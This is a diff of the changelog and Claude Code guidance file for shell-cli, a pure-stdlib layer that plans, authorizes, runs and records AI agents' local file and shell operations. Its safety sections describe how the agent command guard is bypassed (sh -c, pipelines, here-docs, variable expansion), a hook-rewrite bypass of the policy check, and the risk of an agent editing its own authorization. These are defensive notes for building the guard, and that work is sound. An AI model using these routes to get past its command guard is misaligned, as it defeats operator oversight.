--git a/CHANGELOG.md b/CHANGELOG.md index e0e509a..9b984f2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,31 @@ All notable changes to this project will be documented in this file. Format follows [Keep a Changelog](https://keepachangelog.com/). This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.8.2] - 2026-07-19 + +### Added + +- scripts/colleague_inventory.py is now tracked: a pure-stdlib AST scanner that inventories colleagues process-spawn paths, pinned to colleague SHA 28fee29 (1.51.0). +- CI inventory-gate job: clones the public colleague repo at the pinned SHA, asserts it scanned that exact commit, publishes debt_remaining to the step summary and as a notice on every run, then fails on any unclassified spawn path. +- tests/test_colleague_inventory.py: 17 tests driving the scanner against synthetic fixtures, so the gate is provable in CI without a colleague checkout. + +### Changed + +- colleague_inventory.py now reports a missing or unreadable checkout as an environment error (exit 2) rather than raising SystemExit, so CI can distinguish a broken clone from a real gate failure. + +## [0.8.1] - 2026-07-19 + +### Added + +- docs/specs/ and docs/plans/: the converged guarded-local-operations-plane spec and its buildable plan, plus the external review record under docs/external-review/. +- scripts/render_plan.py: generates the plan projection from authoritative devague state, with a SHA-256 drift check (--check). Temporary until devague#85 lands deferred-target semantics. +- CLAUDE.md: an explicit WebGlass peer-seam section — webglass-cli is a peer capability, web semantics never become Operation kinds here, and only provider-neutral artifacts cross. + +### Changed + +- README.md rewritten to the operations-plane framing: the operation lifecycle, the two-axis environment model, the three profiles, evidence as a product surface, and an explicit non-goals section. Replaces the superseded extract-six-tools-from-colleague framing. +- AGENTS.colleague.md now states what this repo is and the contracts a resident can break by accident (pure-stdlib core, guard-not-a-sandbox, preview-by-default, version-per-PR, no tracebacks). + ## [0.8.0] - 2026-07-19 ### Added diff --git a/CLAUDE.md b/CLAUDE.md index 9a3d9cc..89a6bfe 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -4,17 +4,40 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co ## What this repo is -**shell-cli owns the file-and-shell tool surface for AI coding agents.** An agent -harness needs a small, boring, *safe* set of primitives: read a file, write a -file, edit a file, list a directory, look at an image, and run a shell command. -Today that surface lives inside -[`colleague`](https://github.com/agentculture/colleague) welded to one host, so -every other harness reimplements it — and reimplements the safety model with it. - -This repo lifts that surface out into a reusable, pure-stdlib package. colleague -becomes the first consumer, not the owner. The authoritative build brief is -[issue #1](https://github.com/agentculture/shell-cli/issues/1) — read it before -large-scale work; it is the source of truth for scope. +**shell-cli is the guarded local operations plane for AI agents.** + +An agent harness has to touch the local machine constantly — read a file, write +one, run a command, run the tests, run a linter, fire a hook, drive git, invoke +a trusted CLI. Every harness reimplements that surface, and reimplements its +safety model with it, usually worse each time. + +shell-cli provides one place to **plan, authorize, execute, observe, and record** +a local operation. It does not decide *why*, *when*, or *which* — that is the +calling harness's job. + +```text +Colleague shell-cli capability CLIs +----------------------- -------------------------- ---------------------- +reason and plan materialize environment devague semantics +choose capabilities normalize operation eidetic semantics +apply roles evaluate operation policy culture semantics +orchestrate agents execute locally coherence semantics +interpret results capture effects/evidence webglass web semantics +validate completion report structured outcome +``` + +shell-cli is not another agent. It contains no model, planner, memory, web +browser, or domain workflow. It is the execution substrate beneath them. + +[`colleague`](https://github.com/agentculture/colleague) is the first consumer, +not the owner. + +**[Issue #1](https://github.com/agentculture/shell-cli/issues/1) is the source of +truth for scope.** Read it before large-scale work. Where this file and the issue +disagree, the issue wins and this file is the bug. Note that issue #1 +*supersedes* an earlier, narrower "extract six tools from colleague" framing — +that extraction survives only as the first compatibility slice, not as the +mission. Identity is settled and must not drift: repo token `shell-cli`, console command **`shell`**, import package **`shell`**, PyPI distribution **`shell-cli`**. @@ -23,10 +46,10 @@ Identity is settled and must not drift: repo token `shell-cli`, console command The repo is **scaffold only**. The agent-first CLI skeleton (`whoami`, `learn`, `explain`, `overview`, `doctor`, `cli`, `explain safety`) is real and green; -**none of the six primitives, the path confinement, or the approval policy has -been extracted yet.** The CLI says so itself — `learn`, `overview`, and the -`explain` root each carry a Status section. Keep those honest as the extraction -lands; they are the first thing an agent consumer reads. +**no operation, environment, policy, or runner has been built yet.** The CLI says +so itself — `learn`, `overview`, and the `explain` root each carry a Status +section. Keep those honest as the work lands; they are the first thing an agent +consumer reads. ## Commands @@ -40,7 +63,7 @@ uv run pytest --cov=shell --cov-report=term # with coverage (fail_under=60) uv run shell whoami # the console command is `shell`, NOT `shell-cli` uv run shell doctor --json -# The four lint gates CI runs, in CI order: +# The lint gates CI runs, in CI order: uv run black --check shell tests uv run isort --check-only shell tests uv run flake8 shell tests @@ -54,55 +77,69 @@ must never become a runtime dependency. ## Non-negotiable constraints -These four are contracts, not preferences. Violating any of them breaks a -downstream consumer or an explicit honesty commitment. +These are contracts, not preferences. Violating any of them breaks a downstream +consumer or an explicit honesty commitment. ### 1. The core is pure-stdlib — zero base dependencies colleague pins exactly one base dependency (`agentfront>=0.20.0`) and guards it with `tests/test_zero_deps.py`, which allow-lists that single name. The operator decided shell-cli clears the same bar and gets allow-listed as a **second** -sanctioned base dep. That means the core may import **nothing outside the Python -standard library, ever** — if you take a third-party dep, colleague cannot import -you at all. - -`pyproject.toml` already has `dependencies = []`. Keep it that way. Anything -optional (a richer renderer, an MCP surface, container backends) goes in a -`[project.optional-dependencies]` extra, following colleague's `[mcp]` / `[otel]` -/ `[tui]` pattern. - -**Write the guard test early** — mirror colleague's -`/home/spark/git/colleague/tests/test_zero_deps.py`, which does two things worth -copying: asserts the declared `[project].dependencies` list literally, and -snapshots `sys.modules` before/after importing the package to catch third-party -leaks that a manifest check would miss. Enforce it in CI rather than remembering -it. +sanctioned base dep. The core may import **nothing outside the Python standard +library, ever** — if you take a third-party dep, colleague cannot import you at +all. + +`pyproject.toml` has `dependencies = []`. Keep it that way. + +- Git, Docker, and Podman are **external executables discovered on PATH**, driven + by `subprocess`. A Docker SDK is a dependency and is therefore not an option + for the core. +- Optional protocol/rendering integrations go in a + `[project.optional-dependencies]` extra, following colleague's `[mcp]` / + `[otel]` / `[tui]` pattern. +- **The zero-dependency/import-leak guard ships in the first implementation PR**, + not later. Mirror the colleague checkout's `tests/test_zero_deps.py`, which is + worth reading in full. Its core helper snapshots `sys.modules` before/after an + action, reduces new entries to top-level names, and filters stdlib + (`sys.stdlib_module_names`), the own package, import-system builtins, and + exactly one sanctioned third party. Two patterns there transfer directly: run + the check in a **fresh subprocess** when test-order independence matters, and + **scan source text** when environment independence matters. ### 2. It is a guard, not a sandbox — never upgrade the claim -A package *named* `shell-cli` whose headline is safe execution will be read as -offering a sandbox. It does not. colleague's own comments are candid about this -and that posture must survive the extraction verbatim: +Structured filesystem operations are path-confined. A raw host shell command is +not: it can leave the repository through shell expansion, interpreters, absolute +paths, network calls, or child processes. The gate inspects a string that a shell +will later re-interpret, so `sh -c`, pipelines, here-docs, and variable expansion +all defeat it. -> Honest limitation: the guard is a substring check on the raw command string. A -> sufficiently obfuscated command (e.g. variable expansion, concatenation, -> here-docs) could bypass it. It is best-effort — an airtight sandbox is out of -> v0 scope. The guard covers the obvious / accidental case; document rather than -> overclaim. -> -> Honest limit: like the rest of this gate, it is bypassable by `sh -c`, -> pipelines, and shell expansion — **a guard, not a sandbox.** +This protects against **accidental and careless** model behaviour, not an +adversarial one. Documentation *and result metadata* must say so plainly. -State the threat model explicitly and prominently in the README: this protects -against **accidental and careless** model behaviour, not against an adversarial -one. Do not let a docstring, a README line, or a commit message quietly imply -isolation the code does not provide. +`tests/test_honesty.py` enforces this mechanically across `learn`, the `explain` +root, `explain safety`, `README.md`, `CLAUDE.md`, and `docs/threat-model.md`. It +bans affirmative isolation claims and permits the word only in a negating +sentence. If you find that test inconvenient, change the wording, not the test. -### 3. Write verbs are dry-run by default; `--apply` commits +**When the container runner lands, the two claims stay textually separate.** The +host guard remains best-effort; a container is a *declared isolation boundary +with a documented profile*. One sentence must never cover both, and the container +work does not retroactively upgrade the host path. -Agents call CLIs in loops. Any verb that mutates the filesystem previews by -default and only writes when `--apply` is passed. Safe-by-default is mandatory, -not a nicety. +### 3. Mutation and execution preview by default + +Agents call CLIs in loops. + +- **CLI**: mutation and execution verbs preview by default and require `--apply`. + Reads execute immediately. +- **Library**: imported callers must state `apply=True` explicitly. There is no + implicit apply. +- **A preview is never reported as success.** It gets its own status. A shell + preview describes what *would* run; it does not pretend to predict effects. + +The colleague compatibility adapter passes `apply=True` for today's +immediately-applied `write_file` / `edit_file` / `run_command` semantics. ### 4. Every PR bumps the version @@ -113,32 +150,186 @@ PRs. Use the `version-bump` skill (`/version-bump patch|minor|major`); it update ## Architecture -### The two surfaces, in priority order +### The operation is the core abstraction + +An **operation** is any local observation, mutation, process invocation, or +environment lifecycle action. The boundary is **work-affecting I/O** — not every +internal byte a runtime writes. Runtime-private bookkeeping (artifacts, trace +feeds, telemetry buffers, caches, lock files) stays with its owning runtime +unless it executes code or touches the target workspace. That limit is what stops +shell-cli becoming a god-layer around ordinary application internals. -You are building two things, and the order matters: +Every operation follows one lifecycle: -1. **A library** — the primary consumer is colleague *importing* you. This is the - surface that carries the value. Design it first. -2. **A CLI** (`shell read`, `shell run`, `shell edit`) — so a human or an agent - can drive the same gated surface from a terminal and watch the policy decide. +```text +intent -> Operation -> policy + preview -> environment backend + -> result + evidence -> caller +``` + +The library contract is provider-neutral and JSON-serializable: + +```python +operation = Operation( + kind="process.exec", + arguments={"argv": ["python", "-m", "pytest"]}, + profile="project", + apply=True, + caller={"agent": "colleague", "task_id": "...", "tool": "run_tests"}, +) + +result = operations.execute(operation, environment) +``` + +Names may improve during design; the semantics are fixed. + +- **`Operation`** — stable id; kind and normalized arguments; intent (`observe`, + `mutate`, `execute`, `lifecycle`); execution profile; caller/provenance; + explicit preview/apply intent; timeout and resource request. +- **`OperationResult`** — status (`previewed`, `denied`, `succeeded`, `failed`, + `timed_out`); structured output plus a bounded rendering; policy verdict and + reason; known effects (changed paths, bytes written, git refs/diff, created + resources); evidence (backend, root, cwd, mounts, network, timing, exit code, + truncation); an **honest completeness marker** for effects that cannot be fully + observed; neutral media observation when applicable. + +### Environments have two independent axes + +Do not encode "host", "worktree", and "Docker" as one overloaded mode. + +- **Workspace/root axis** — operator checkout, caller-provided worktree, or a + shell-managed worktree once that capability migrates. +- **Runner axis** — `HostRunner`, `ContainerRunner` (Docker/Podman), and a future + VM/remote runner behind the same contract. + +| Workspace | Runner | Guarantee | +|---|---|---| +| Checkout | Host | Guarded host execution; no isolation | +| Worktree | Host | Reviewable/recoverable changes; no process isolation | +| Checkout | Container | Execution isolation against the selected checkout | +| Worktree | Container | Preferred autonomous mode: isolated execution + reviewable changes | + +colleague already uses **worktree + host** for `work`/`drive` and parallel +children; interactive sessions run **checkout + host**; failed worktree creation +may degrade to in-place execution. Preserve those behaviours during migration +rather than rebuilding a simpler competing worktree system. + +An environment distinguishes at least: `source_root` (trusted control context), +`work_root` (what operations may observe/change), `runner`, read-only paths, +mount policy, network policy, environment-variable and secret policy, user +identity, resource limits, and timeout defaults. + +**Policy is snapshotted from trusted control context before model mutations.** An +agent must not be able to edit its own active authorization by changing a file +inside the work root. + +### Three operation profiles + +Every subprocess declares why it is running. Not all `subprocess.run` calls +deserve equal trust. + +- **`project`** — executes repository-controlled code: model-issued shell + commands, tests, lint/format tools, affected-test runners, repo hooks + configured as project code. Target: containerized by default, network disabled + unless explicitly granted. +- **`control`** — executes trusted agent/control-plane programs: git + worktree/handoff mechanics, the `devague` / `eidetic` / `culture` / `coherence` + CLIs, neighbour clone management, Docker/Podman itself. Host execution is + expected, but with argv vectors, executable allow-lists, minimal environment + inheritance, explicit cwd, bounded output, and evidence. **Raw shell strings are + not appropriate for control operations.** +- **`observe`** — structured reads: file listing, text/media loading, status, + diff. Confined to the selected root; never implies process isolation. + +### Layered safety model + +Four distinct layers. Do not merge their claims. + +1. **Capability authorization — colleague.** Roles decide which semantic tools may + be offered and invoked. +2. **Operation policy — shell-cli.** The normalized operation is allowed, denied, + or previewed under an operator-supplied policy snapshot. +3. **Execution isolation — runner.** Host mode is a guard; container mode is a + declared isolation boundary with a documented profile. +4. **Outcome validation — colleague.** Tests, lint, integrity, acceptance, and + handoff gates decide whether the work is acceptable. + +### Evidence is a product surface + +Every operation produces a structured evidence record suitable for the model, the +operator, telemetry, and an external validator. Minimum: operation id, caller, +task and tool; requested and normalized operation; preview/applied state; policy +verdict and matched rule; environment id, workspace kind, runner, root and cwd; +mounts, network and resource profile; start/end/duration; exit code or structured +error; **separately captured stdout/stderr** with bounded rendering; truncation +markers plus hashes/byte counts of full output when known; known filesystem/git +effects and **whether that effect list is complete**. + +Secrets are never recorded. Evidence failure must not turn an executed action +into an unrecorded success — the result marks degraded evidence honestly. + +colleague maps neutral results into its own `ToolOutcome`, `Step`, media message, +progress, statistics, and artifact shapes. **shell-cli must not import colleague +contracts.** + +### Library first, CLI second + +The importable API is primary. The CLI is a front end over exactly the same +operation engine — never a second implementation. + +```text +shell env describe|create|destroy +shell fs read|list|stat|write|edit|media +shell process exec|shell +shell git status|diff|worktree|commit|merge +shell policy check|explain +shell operation show +shell whoami|learn|explain|doctor +``` -Do not let CLI ergonomics distort the library API. +Compatibility aliases (`shell read`, `shell edit`, `shell run`) may exist, but +must not distort the library model. Every command supports structured JSON; +results to stdout, diagnostics to stderr. Long-running operations support +streaming events and cancellation. + +### Target package shape + +Illustrative, not a mandate on filenames: + +```text +shell/ +├── operations.py # Operation and dispatch +├── results.py # neutral results/effects +├── environment.py # source/work roots + profiles +├── policy.py # evaluator and versioned policy data +├── evidence.py # events, redaction, rendering +├── fs/ # confined file/media operations +├── process/ # argv and raw-shell operations +├── git/ # generic git/worktree primitives +├── runners/ +│ ├── host.py +│ └── container.py +└── cli/ +``` + +**Avoid a giant `Shell` god object.** Operation handlers stay small and +composable behind one lifecycle pipeline. Do not add abstractions with no current +colleague or CLI consumer. ### CLI scaffold conventions (already established — follow them) The afi-cli/teken pattern, no `src/` wrapper, one module per subcommand under -`shell/cli/_commands/`. Each module exposes a `register(sub)` that adds its -parser and sets `func`; `shell/cli/__init__.py:_build_parser` wires them up. -Noun groups nest their own subparsers the same way (see `_commands/cli.py`). +`shell/cli/_commands/`. Each module exposes a `register(sub)` that adds its parser +and sets `func`; `shell/cli/__init__.py:_build_parser` wires them up. Noun groups +nest their own subparsers the same way (see `_commands/cli.py`). -Three contracts are load-bearing and enforced by tests plus the `teken cli -doctor --strict` rubric gate: +Three contracts are load-bearing and enforced by tests plus the `teken cli doctor +--strict` rubric gate: - **Errors never leak tracebacks.** Every failure raises `CliError` (`shell/cli/_errors.py`); `_dispatch` catches it, routes it through `emit_error`, and wraps any unexpected exception. Argparse errors are folded - into the same shape by `_CliArgumentParser.error`, with a `_json_hint` - class attribute pre-scanned from raw argv so parse-time failures still honour + into the same shape by `_CliArgumentParser.error`, with a `_json_hint` class + attribute pre-scanned from raw argv so parse-time failures still honour `--json`. New subparsers must be built with `parser_class=_CliArgumentParser` or they bypass this and exit 2 with raw argparse output. - **Streams never mix.** Results to stdout, errors and diagnostics to stderr @@ -150,114 +341,379 @@ doctor --strict` rubric gate: Every verb takes `--json`. Every registered noun/verb path needs an entry in `shell/explain/catalog.py`; `tests/test_cli.py::test_every_catalog_path_resolves` walks the whole catalog, and the rubric gate requires any noun with action-verbs -to expose `overview`. +to expose `overview`. The canonical CLI groups above roughly triple the current +catalog, so **doc authoring is per-slice work, not a final pass**. `whoami`/`doctor` parse `culture.yaml` with a hand-rolled line scanner (`_commands/whoami.py`) specifically to avoid a YAML dependency — re-read the pure-stdlib constraint before "improving" that. -### What to extract from colleague, and from where +## Where every colleague operation goes + +The *mechanism* moves; domain intent stays with its owner. + +| Current colleague action | Target operation | Semantic owner | +|---|---|---| +| `read_file`, `list_dir` | `fs.read`, `fs.list` | shell-cli | +| `write_file`, `edit_file` | `fs.write`, `fs.edit` | shell-cli | +| `view_media` | neutral confined `fs.media` | shell-cli; colleague adapts payload | +| `run_command` | `process.shell`, profile `project` | shell-cli | +| `run_tests` | curated `process.exec`, profile `project` | colleague picks argv | +| lint / affected tests | `process.exec`, profile `project` | colleague picks gate | +| hooks | `process.exec` with declared profile | colleague owns lifecycle | +| worktree add/remove/prune | generic git/worktree operations | colleague owns branch lifecycle | +| commit/diff/merge/handoff | generic git operations | colleague owns handoff semantics | +| neighbour cloning | git control operation | colleague selects neighbours | +| devague / culture / eidetic / coherence | trusted CLI control operation | each CLI owns semantics | +| subagent launch | child environment request | colleague owns orchestration | +| `finish`, `deepthink` | not a local shell operation | colleague | +| web search/navigation | not shell semantics | `webglass-cli` | +| artifacts, flight feeds, telemetry, caches, locks | runtime-private bookkeeping | owning runtime | + +The end state makes direct process creation in colleague exceptional and +mechanically guarded. Project-code execution must not bypass the selected +environment merely because it arrived via `run_tests`, lint, or a hook instead of +`run_command`. -Surveyed against the live checkout at `/home/spark/git/colleague` (colleague -1.51.0). `colleague/tools.py` is 1360 lines declaring its tool schemas as a flat -list; six are yours, the rest are colleague's own. +## What the survey found (ground truth, colleague 1.51.0) -| Yours (extract) | colleague-specific (leave behind) | -|---|---| -| `read_file` | `culture` | -| `view_media` | `devague` | -| `write_file` | `subagent` / `subagents` | -| `edit_file` | `memory` | -| `list_dir` | `run_tests` / `check_test_integrity` | -| `run_command` | `finish`, `deepthink` | +Surveyed against a live colleague checkout at the pinned SHA below. These facts +should save you a re-derivation. + +### The six primitives are cleaner than expected Handlers live in `ToolExecutor` (`colleague/tools.py:666`): `_read_file:813`, `_view_media:827`, `_write_file:860`, `_edit_file:878`, `_list_dir:947`, `_run_command:957`. -**The safety machinery moves with them — this was decided explicitly and it is -the point of the split.** A package shipping the six primitives *without* the -safety model would be a thin wrapper worth very little. - -- `_safe_path` (`tools.py:730`) — resolves a relative path under the root and - refuses anything that escapes it. -- `_refuse_clone_write` (`tools.py:737`) — refuses writes into a read-only source - subtree. **Generalise this**: a configurable set of read-only paths, not a - hard-coded `.colleague/neighbours`. -- `_truncate` (`tools.py:724`) — caps each result so a huge file or command - output cannot blow the model's context window. -- `_number_lines` (`tools.py:599`) and the `_require` argument-validation helpers. -- The `run_command` approval policy — `colleague/policy.py` (400 lines): the - frozen `Verdict` dataclass (`:80`), `Policy.check_run_command` (`:205`), - `Policy.check_file` (`:249`), the checksum helpers `file_checksum` (`:101`) / - `verify_checksum` (`:121`), `_first_token` (`:309`), and policy-file loading - (`_parse_policy_file:326`, `load_policy:354`). colleague gates only - `run_command` today (`colleague/loop.py:895-903`); everything else passes - through. - -### The real work is decoupling, not copying - -Both files are stdlib-clean but **not** import-clean. Two couplings must break: - -- `tools.py` does `from colleague import culture, devague, media, memory, - testintegrity` and `from colleague.config import _DEFAULT_MAX_OUTPUT_CHARS, - MAX_SUBAGENT_FANOUT`. Most of that belongs to tools you are *not* taking — but - **`media` is imported for `view_media`, which is yours.** Decide deliberately: - either `media` travels along, or `view_media` stays behind. Say which and why. -- `policy.py` does `from colleague.configdir import resolve_file` and `from - colleague.layers import sanitize_model`. Both must become injected parameters - or travel along. - -`ToolExecutor` is one class mixing both halves, so extraction means splitting it. -The encouraging part: its constructor is already injection-shaped — `spawn`, -`batch_spawn`, `deepthink` callables plus an `allowlist` -(`tools.py:669-723`). A natural seam is shell-cli owning the base executor (six -primitives + confinement + policy) with colleague subclassing it and registering -its own tools on top. **Propose the seam before building it; do not assume that -shape is the only one.** - -Tests worth mining from `/home/spark/git/colleague/tests/`: +- **Five of the six are import-clean** — they reference zero colleague modules and + zero colleague config constants. `view_media` is the only coupled handler, and + its only impurity is `colleague.media`. +- `_DEFAULT_MAX_OUTPUT_CHARS` is merely the constructor default + (`tools.py:675`); handlers read `self._max_output_chars`. It inlines as `25000` + with no behaviour change. `MAX_SUBAGENT_FANOUT` and `SubResult` are untouched by + the six. +- The six touch only `root`, `changed`, `bytes_written`, `_max_output_chars`, and + the class-level `_CLONE_SUBDIR`. The injected `spawn` / `batch_spawn` / + `deepthink` callables and `_allowlist` are irrelevant to them. **This is why + composition works and subclassing is unnecessary.** +- `colleague/media.py` is 111 lines and fully stdlib-clean, but it **cannot move** + — `flatten_parts` and `IMAGE_TOKEN_ESTIMATE` serve five colleague-only call + sites. `view_media` needs only `_MEDIA_TYPES` + `validate_attachment` + + `build_part` (~50 lines). Vendor that slice; colleague keeps its copy. + +Safety helpers to carry: `_safe_path` (`tools.py:730`), `_refuse_clone_write` +(`tools.py:737` — **generalise to a configurable set of read-only paths**), +`_truncate` (`tools.py:724`), `_number_lines` (`tools.py:599`), `_require` +(`tools.py:624`). + +Two orderings are load-bearing and must survive verbatim: + +- `_read_file` **numbers lines then truncates** (`tools.py:826`). Reversing + renumbers. This is the recorded fix for colleague issue #240, where a served + model cited a line ~240 off. +- `ToolExecutor.execute` wraps every non-`ToolError` exception into a recoverable + model-visible error (`tools.py:788-800`). Without an equivalent, a handler crash + aborts the drive instead of becoming a retryable step. + +Schema byte-equivalence has concrete traps: `SCHEMAS[:6]` is a contiguous slice +(`tools.py:113-235`), but `_PATH_DESC` (`tools.py:61`) is interpolated into four +of the six descriptions and must travel verbatim; `list_dir` uniquely has **no** +`required` key; `read_file`'s description embeds literal backslash escapes. A +serialized-JSON snapshot test is the only honest guard. + +### Policy extraction is nearly free + +`colleague/policy.py:79-351` — `Verdict`, `Policy` and all its methods, +`file_checksum`, `verify_checksum`, `_first_token`, `_parse_policy_file`, +`_str_list`, `_str_map` — is ~270 lines of dependency-free stdlib needing **zero +changes**. Only `load_policy:354-400` couples, to `configdir.resolve_file` and +`layers.sanitize_model`. The cleanest seam passes **pre-resolved candidate paths** +so policy stops knowing about config-dir layout entirely, satisfying "shell core +accepts explicit policy data/files and has no `.colleague` import" without +injecting two callables. + +Three no-op invariants the colleague tests will not let you break: + +- an absent policy section is **ungated**, not empty-and-denying (presence, not + emptiness, is the semantic); +- a malformed policy file degrades to `{}` and **never raises**; +- an empty policy is byte-identical to no policy — same `to_dict()` key set, same + step shape. + +Absent policy and *malformed configured* policy must remain distinct states. +Native policy must never silently turn a malformed declared gate into allow-all. + +**Policy does not gate only `run_command`.** `check_file` has three live call +sites: hooks (`hooks.py:311`, before every hook entry, every event), commands +(`commands.py:291`), and an escalation gate (`escalation.py:176`). File *tool +calls* are deliberately not gated — pinned by +`tests/test_loop_run_command_policy.py:366-386`. + +The policy **file format** is `.colleague/approvals.json`: three recognized +sections (`run_command` with `allow`/`deny` string lists, `hooks` keyed by +repo-relative path, `commands` keyed by stem), approval strings `:` +over `sha256`/`md5`, no `version` field in v0. Per-model overlays resolve at +`/approvals.json` and replace **whole sections**, never +deep-merge. Sibling model dirs are never globbed, so one model cannot load +another's policy. Files exist in the wild; the `hooks`-are-paths vs +`commands`-are-stems convention is not self-describing and is the one place a +divergent format would silently mis-key rather than error. + +### The enforcement ordering (and a discrepancy) + +The gate sits in `colleague/loop.py:_run_tool_call` (`:914-1033`): + +```text +pre_tool hook (deny/rewrite) -> policy -> execute -> record -> post_tool +``` + +**The single most security-relevant line in the extraction** is `loop.py:962`, +which re-wraps as `ToolCall(call.id, call.name, arguments)` so the policy sees the +**rewritten** arguments. An extraction that passes the original `call` silently +reintroduces a rewrite-bypass hole: a hook could rewrite a denied command into an +allowed shape. + +Note a discrepancy with issue #1 §7, which mandates preserving `role gate -> +pre-tool hook/rewrite -> operation policy -> execution`. **There is no role gate +inside that sequence.** Role restriction lives in two places outside it: schema +curation before the model ever sees a tool (`tools.py:570-591`), and executor +dispatch as the first line of `execute` (`tools.py:757-761`), which runs *after* +the policy gate. Reconcile this before "preserving" an ordering that does not +exist. + +### The subprocess inventory is tractable + +Do not trust a hand-written inventory here — one was written for this file and +was already wrong. Run the scanner: + +```bash +python3 scripts/colleague_inventory.py /path/to/colleague # report +python3 scripts/colleague_inventory.py /path/to/colleague --check # CI gate +``` + +Against colleague 1.51.0 at commit `28fee290c51fc4310b9fc576981809ad5c3132c6` +it reports **21 process-spawn literals across 15 modules** — 6 `project`, 15 +`control`, 0 owned by `observe` — with exactly two `shell=True` sites +(`hooks.py:405`, `tools.py:1022`), plus ~40 filesystem-mutation sites that are +genuine runtime-private bookkeeping confined to `.colleague/`. + +An earlier hand survey of this repo reported *16* modules. It was wrong: the +AST scan shows the subprocess-importer set and the spawn-literal set are +identical at 15. That error survived a day in committed guidance, which is why +the count is now derived rather than transcribed. + +There are **zero** `os.system`, `asyncio.create_subprocess_*`, `os.popen`, +`os.exec*`, and zero docker/podman invocations. Milestone 0 should close those +explicitly as vacuously satisfied rather than silently. + +The scanner's `ALLOWLIST` is a **known-debt allowlist**: it records every module +permitted to spawn today, tagged with its profile and a debt flag, so a *new* +unclassified path fails `--check` immediately while the known paths are tracked +as scheduled migrations. Debt starts at **13 modules and must reach zero by the +end of Milestone 3** — a debt entry is a scheduled migration, never a permanent +exemption. `colleague/tests/test_boundary.py` already pins the importing-module +set on colleague's side, so this extends an enforced invariant rather than +inventing one. + +Ambiguities worth adjudicating rather than assuming: + +- `lint.py:100-102` runs `ruff check --fix` / `ruff format` — it **mutates tracked + source** while wearing a gate's clothing, in deliberate contrast to + `tools.py:1213-1219`, which keeps `run_tests` byte-neutral. Its mutations must + surface as changed-path effects. +- The two `shell=True` sites have different trust stories and warrant different + mediation: `tools.py:1022` runs a model-authored string; `hooks.py:405` runs a + repo-authored hook **around every tool call**, including control-plane ones. +- `background.py:139` and `experiment.py:440` spawn detached + (`start_new_session=True`), and `background.py` re-invokes colleague itself — so + it re-enters every bucket in a process the mediator no longer supervises. + +## Delivery plan + +Implement in independently reviewable **vertical slices**. Do not ship one giant +rewrite. + +- **Milestone 0 — inventory and characterization.** Inventory every + process/workspace mutation path; classify each as `project`, `control`, + `observe`, or not-a-shell-operation; explicitly account for runtime-private + bookkeeping; snapshot the six tool schemas and observable behaviour; establish + cross-repo compatibility fixtures. +- **Milestone 1 — operation core + parity provider.** Implement `Operation`, + `OperationResult`, `Environment`, policy, evidence, confined filesystem + operations, and `HostRunner`. Expose the six compatibility schemas. Keep + pure-stdlib and preview-by-default. **Do not remove colleague's implementation.** +- **Milestone 2 — colleague delegates the six tools.** Compose shell-cli into + colleague's existing router; **do not subclass it.** Preserve roles, hooks, + policy ordering, result mapping and accounting. Run old/new characterization in + parallel tests. Publish, pin a tested floor, then remove duplication. +- **Milestone 3 — route all colleague local operations.** Project execution + (`run_tests`, lint, affected tests, project hooks); control execution (git, + worktrees, handoff, neighbour cloning, AgentCulture CLIs); add the boundary test + preventing new unclassified subprocess paths. +- **Milestone 4 — container runner.** Docker/Podman backend with the declared + isolation profile; project profile uses it when selected; colleague's worktree + becomes the mounted work root; dependency preparation and sealed execution are + distinct operations; host fallback is explicit and visible, never silent. +- **Milestone 5 — ecosystem providers.** Publish the stable capability/evidence + contract; integrate `webglass-cli` as a separate semantic provider. + +Container baseline when Milestone 4 lands: non-root user mapped to host UID/GID; +no privileged mode, no Docker socket; all capabilities dropped unless restored; +network disabled by default; read-only container root; only the work root mounted +writable; explicit dependency/cache volumes; bounded CPU, memory, pids, output, +wall time; explicit redacted secret injection. Dependency preparation may be a +separate network-enabled operation, and must not quietly enable network during +sealed execution. + +A linked git worktree holds a `.git` **pointer** into the source repo's common +git dir, so mounting only the worktree does not preserve in-worktree git +behaviour. Milestone 4 must choose explicitly: either project containers get no +git metadata (structured git runs through the control plane), or the environment +receives isolated git metadata that cannot mutate unrelated host refs. **Do not +solve this by mounting the host common `.git` writable** — that hands project code +a path back to operator refs. + +### Compatibility invariants + +The colleague migration succeeds only if colleague loses no behaviour. + +- The six OpenAI tool schemas stay byte-equivalent, including order and + descriptions, until an intentional separately-reviewed change. +- Role curation and runtime refusal remain intact. +- Hook rewrite precedes command policy. +- Policy denial remains a non-success step with the same model-visible reason and + telemetry meaning. +- `write_file` / `edit_file` still apply immediately through the adapter. +- `run_command` remains a fresh shell, rooted cwd, bounded timeout, current output + rendering during parity. +- Line numbering, truncation, media size/type limits, and error messages stay + compatible. +- Changed-file aggregation, subagent changes, and `bytes_written` ROI accounting + remain intact. +- Worktree/self-commit/continuation/merge/handoff behaviour remains intact. +- Malformed arguments remain recoverable model-visible tool errors, never run + aborts. + +Characterization tests must compare legacy and new execution paths against the +same fixtures **before** the legacy implementation is removed. + +### Test ownership + +Tests move by responsibility, not filename. + +**shell-cli owns**: operation lifecycle and result states; filesystem confinement +and symlink escapes; read/write/edit/list/media behaviour; `HostRunner` and +`ContainerRunner`; policy parsing/evaluation; preview/apply semantics; +evidence/redaction/truncation; generic git/worktree primitives; zero-dependency +and import cleanliness. + +**colleague retains**: role schema curation and runtime refusal; hook +ordering/rewrite/deny; all-engine policy parity; `ToolOutcome` and media-message +adaptation; changed/subagent/ROI aggregation; worktree branch naming, continuation +and handoff; loop recovery, telemetry, validation gates, artifact parity. + +Worth mining from the colleague checkout's `tests/`: `test_loop_run_command_policy.py`, `test_policy_carveout.py`, `test_policy_all_engines.py`, `test_write_apply_isolation.py`, -`test_zero_deps.py`. +`test_zero_deps.py`, `test_boundary.py`, `test_tools.py`, `test_view_media.py`, +`test_tool_arg_errors.py`. + +## Before large-scale work -### Planned: VM / in-container execution +Issue #1 §17 gates implementation behind a concrete Milestone 0/1 plan, posted as +an issue reply, naming six things: -Beyond issue #1, the intended direction is a **real** isolation backend — -running `run_command` inside a container or VM rather than the host shell. Two -things to hold onto when that work starts: +1. the proposed operation/result/environment types; +2. the exact colleague characterization tests; +3. how policy ordering and role refusal remain unchanged; +4. how state/accounting is mapped without importing colleague; +5. which direct subprocess paths are parked for Milestone 3; +6. the smallest first PR that proves the seam without duplicating a framework. -- It does not retroactively make the *existing* guard a sandbox. Keep the two - claims separate: the substring/token guard is best-effort host-side; a - container backend is genuine isolation. Never let one sentence 